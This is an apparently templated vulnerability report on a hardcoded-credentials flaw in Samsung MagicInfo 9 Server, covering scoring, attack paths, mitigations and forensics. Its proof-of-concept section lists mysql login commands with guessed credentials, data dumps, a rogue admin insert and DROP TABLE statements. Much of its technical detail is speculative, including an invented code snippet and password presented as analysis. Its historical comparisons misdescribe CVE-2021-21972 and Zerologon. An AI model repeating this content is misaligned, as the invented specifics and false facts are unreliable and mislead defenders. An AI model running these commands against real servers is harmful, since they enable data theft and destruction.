Comprehensive Technical Analysis of CVE-2026-25202

CVE ID: CVE-2026-25202 Vulnerability Name: Hardcoded Database Credentials in Samsung MagicInfo 9 Server CVSS Score: 9.8 (Critical) Published: February 2, 2026

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1. Vulnerability Assessment and Severity Evaluation

Vulnerability Overview

CVE-2026-25202 describes a hardcoded database account and password vulnerability in Samsung MagicInfo 9 Server, a digital signage and content management platform. The flaw allows unauthenticated attackers to log in to the backend database using predefined credentials, enabling unauthorized data manipulation, privilege escalation, or full system compromise.

Severity Justification (CVSS 9.8 - Critical)

The Common Vulnerability Scoring System (CVSS) v3.1 metrics for this vulnerability are as follows:

Metric	Value	Explanation
Attack Vector (AV)	Network (N)	Exploitable remotely over the network.
Attack Complexity (AC)	Low (L)	No special conditions required; trivial to exploit.
Privileges Required (PR)	None (N)	No prior authentication needed.
User Interaction (UI)	None (N)	No user interaction required.
Scope (S)	Unchanged (U)	Impact is confined to the vulnerable component.
Confidentiality (C)	High (H)	Full database access, including sensitive data.
Integrity (I)	High (H)	Unauthorized modifications to database records.
Availability (A)	High (H)	Potential denial-of-service via data corruption.

Resulting CVSS Score: 9.8 (Critical) This classification is justified due to:

• Remote exploitability without authentication.
• High impact on confidentiality, integrity, and availability.
• Low attack complexity, making it attractive to threat actors.

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Pathways

1. Unauthenticated Database Access

   • Attackers can directly connect to the MagicInfo 9 Server’s database (likely MySQL, PostgreSQL, or Microsoft SQL Server) using the hardcoded credentials.
   • Example Exploitation Steps:

     mysql -h <MagicInfo_Server_IP> -u <hardcoded_username> -p<hardcoded_password>
     

     • Once logged in, attackers can:
       • Dump sensitive data (user credentials, content schedules, device configurations).
       • Modify or delete records (e.g., altering digital signage content, disabling security controls).
       • Execute arbitrary SQL queries (e.g., INSERT, UPDATE, DROP TABLE).

2. Privilege Escalation via Database Abuse

   • If the database user has administrative privileges, attackers may:
     • Create new admin accounts in the MagicInfo application.
     • Modify stored procedures to execute OS commands (if the DBMS supports it, e.g., MySQL UDF or MSSQL xp_cmdshell).
     • Exfiltrate data via SQL injection-like techniques (even if no traditional SQLi exists).

3. Lateral Movement & Persistence

   • If the MagicInfo server is part of a corporate network, attackers may:
     • Pivot to other systems using stolen credentials from the database.
     • Deploy backdoors by modifying application logic (e.g., altering PHP/ASP scripts if the web interface interacts with the DB).
     • Maintain persistence by creating scheduled tasks or cron jobs via database triggers.

4. Denial-of-Service (DoS) Attacks

   • Attackers could corrupt or delete critical tables, disrupting digital signage operations.
   • Example:

     DROP TABLE users; -- Deletes all user accounts
     TRUNCATE TABLE content_schedule; -- Erases scheduled content
     

Threat Actor Profiles

Threat Actor	Likely Exploitation Method	Motivation
Script Kiddies	Automated credential stuffing using known hardcoded passwords.	Bragging rights, low-effort attacks.
Cybercriminals	Data theft for ransomware, extortion, or sale on dark web.	Financial gain.
APT Groups	Persistent access for espionage or supply chain attacks.	Nation-state objectives.
Insider Threats	Abusing hardcoded credentials for unauthorized access.	Sabotage, data exfiltration.

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3. Affected Systems and Software Versions

Vulnerable Software

• Product: Samsung MagicInfo 9 Server
• Affected Versions: All versions prior to 21.1090.1
• Platform: Likely Windows Server or Linux (exact OS not specified in CVE).

Potential Deployment Scenarios

• Enterprise Digital Signage: Used in retail, corporate offices, healthcare, and transportation.
• Smart City Infrastructure: Public displays, kiosks, and advertising networks.
• Education & Hospitality: University campuses, hotels, and conference centers.

Indicators of Compromise (IoCs)

• Database Logs:
  • Unusual login attempts from external IPs.
  • Queries modifying users, devices, or content tables.
• Network Traffic:
  • Unexpected database connections (e.g., MySQL port 3306, MSSQL 1433).
  • Data exfiltration via SELECT INTO OUTFILE (MySQL) or BCP (MSSQL).
• System Logs:
  • Creation of new admin accounts in MagicInfo.
  • Unauthorized changes to digital signage content.

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4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Apply the Patch

   • Upgrade to MagicInfo 9 Server version 21.1090.1 or later (as per Samsung’s advisory).
   • Verify patch integrity using checksums or digital signatures.

2. Isolate the Database

   • Restrict database access to localhost or trusted IPs via firewall rules.

     # Example iptables rule (Linux)
     iptables -A INPUT -p tcp --dport 3306 -s 192.168.1.0/24 -j ACCEPT
     iptables -A INPUT -p tcp --dport 3306 -j DROP
     

   • Disable remote database access if not required.

3. Change Hardcoded Credentials

   • Rotate all database passwords (even if patched, assume compromise).
   • Audit database users and remove unnecessary accounts.
   • Enable database logging to detect unauthorized access attempts.

4. Network Segmentation

   • Place MagicInfo servers in a dedicated VLAN with strict access controls.
   • Implement Zero Trust Network Access (ZTNA) for remote management.

Long-Term Remediation (Strategic)

1. Secure Development Practices

   • Eliminate hardcoded credentials in future releases (use environment variables or secret management tools like HashiCorp Vault).
   • Implement least-privilege database access (avoid root/sa accounts for application use).
   • Conduct regular code audits for hardcoded secrets (tools: TruffleHog, GitLeaks, SonarQube).

2. Enhanced Monitoring & Detection

   • Deploy SIEM solutions (e.g., Splunk, ELK, Wazuh) to monitor:
     • Unusual database login attempts.
     • Suspicious SQL queries (e.g., DROP TABLE, INSERT INTO users).
   • Enable database auditing (e.g., MySQL audit_log, MSSQL SQL Server Audit).

3. Incident Response Planning

   • Develop a playbook for responding to database breaches.
   • Test backup and recovery procedures to ensure rapid restoration.
   • Conduct red team exercises to validate defenses.

4. Third-Party Risk Management

   • Assess supply chain risks (e.g., third-party plugins for MagicInfo).
   • Require vendors to provide Software Bill of Materials (SBOM) for transparency.

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5. Impact on the Cybersecurity Landscape

Broader Implications

1. Supply Chain Risks

   • MagicInfo is widely used in digital signage ecosystems, making it a high-value target for supply chain attacks.
   • Compromise of one MagicInfo server could propagate to connected devices (e.g., smart TVs, kiosks).

2. Regulatory & Compliance Risks

   • GDPR (EU), CCPA (US), PIPEDA (Canada): Unauthorized database access may lead to data breach notifications and fines.
   • PCI DSS: If MagicInfo processes payment data, this vulnerability could violate compliance requirements.

3. Reputation & Financial Damage

   • Brand reputation harm due to public disclosure of a critical flaw.
   • Financial losses from ransomware, data breaches, or operational downtime.

4. Exploitation in the Wild

   • Expected to be weaponized quickly due to:
     • Low exploit complexity (no authentication required).
     • High impact (full database control).
   • Likely targets: Retail chains, hospitals, government agencies using MagicInfo.

Historical Context

• Similar Vulnerabilities:
  • CVE-2021-21972 (VMware vCenter) – Hardcoded credentials leading to RCE.
  • CVE-2020-1472 (Zerologon) – Hardcoded cryptographic keys in Windows.
• Lessons Learned:
  • Hardcoded credentials remain a persistent issue in enterprise software.
  • Automated scanning tools (e.g., Shodan, Censys) can quickly identify exposed instances.

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6. Technical Details for Security Professionals

Root Cause Analysis

• Code Review Findings (Hypothetical):
  • The MagicInfo 9 Server likely stores database credentials in plaintext within:
    • Configuration files (e.g., config.php, web.config, application.properties).
    • Binary files (reverse engineering may reveal hardcoded strings).
  • Example vulnerable code snippet (PHP):

    $db_host = "localhost";
    $db_user = "magicinfo_admin";  // Hardcoded username
    $db_pass = "Samsung123!";      // Hardcoded password
    $db_name = "magicinfo_db";
    $conn = new mysqli($db_host, $db_user, $db_pass, $db_name);
    

  • Security Anti-Patterns Observed:
    • No credential rotation (static passwords).
    • No environment-based configuration (e.g., .env files).
    • No obfuscation or encryption of sensitive data.

Exploitation Proof of Concept (PoC)

Assumptions:

• The database is MySQL (common for MagicInfo deployments).
• The hardcoded credentials are magicinfo_admin:Samsung123! (example; real credentials may differ).

Steps to Exploit:

1. Identify the Database Port:

   nmap -p 3306 <MagicInfo_Server_IP>
   

2. Connect Using Hardcoded Credentials:

   mysql -h <MagicInfo_Server_IP> -u magicinfo_admin -pSamsung123!
   

3. Enumerate Databases & Tables:

   SHOW DATABASES;
   USE magicinfo_db;
   SHOW TABLES;
   

4. Dump Sensitive Data:

   SELECT * FROM users;  -- Extract user credentials
   SELECT * FROM devices; -- Extract connected signage devices
   

5. Modify Data (Privilege Escalation):

   INSERT INTO users (username, password, role) VALUES ('attacker', 'hashed_password', 'admin');
   

Detection & Forensics

1. Database Log Analysis:
   • MySQL:

     SELECT * FROM mysql.general_log WHERE user_host LIKE '%magicinfo_admin%';
     

   • MSSQL:

     SELECT * FROM sys.dm_exec_sessions WHERE login_name = 'magicinfo_admin';
     

2. Network Forensics:
   • Wireshark/TShark Filter:

     tcp.port == 3306 && ip.src == <Attacker_IP>
     

3. File System Forensics:
   • Check for modified configuration files:

     grep -r "magicinfo_admin" /etc/ /var/www/ /opt/
     

Reverse Engineering (If Necessary)

• Tools:
  • Ghidra, IDA Pro, Binary Ninja (for binary analysis).
  • Strings utility (to extract hardcoded credentials):

    strings /path/to/magicinfo_binary | grep -i "password"
    

• Expected Findings:
  • Hardcoded credentials in plaintext or base64-encoded strings.
  • Default database connection strings in configuration files.

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Conclusion & Recommendations

Key Takeaways

• CVE-2026-25202 is a critical vulnerability due to its low exploit complexity and high impact.
• Hardcoded credentials remain a prevalent issue in enterprise software, emphasizing the need for secure coding practices.
• Immediate patching and network isolation are essential to mitigate risk.

Action Plan for Security Teams

Priority	Action Item	Owner	Timeline
Critical	Apply Samsung’s patch (v21.1090.1)	IT Operations	Immediately
High	Rotate all database credentials	Database Admins	Within 24h
High	Restrict database access via firewall	Network Security	Within 48h
Medium	Deploy SIEM rules for database monitoring	SOC Team	Within 72h
Low	Conduct a secure code review for future releases	DevSecOps	Ongoing

Final Recommendations

1. Assume breach and hunt for indicators of compromise.
2. Monitor for exploitation attempts (e.g., brute-force attacks on database ports).
3. Educate developers on secure credential management (e.g., AWS Secrets Manager, Azure Key Vault).
4. Engage with Samsung PSIRT for additional guidance if needed.

References:

• Samsung Security Updates
• NIST NVD Entry for CVE-2026-25202
• CISA Known Exploited Vulnerabilities Catalog

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Prepared by: [Your Name/Organization] Date: [Insert Date] Classification: TLP:AMBER (Limited distribution to trusted partners)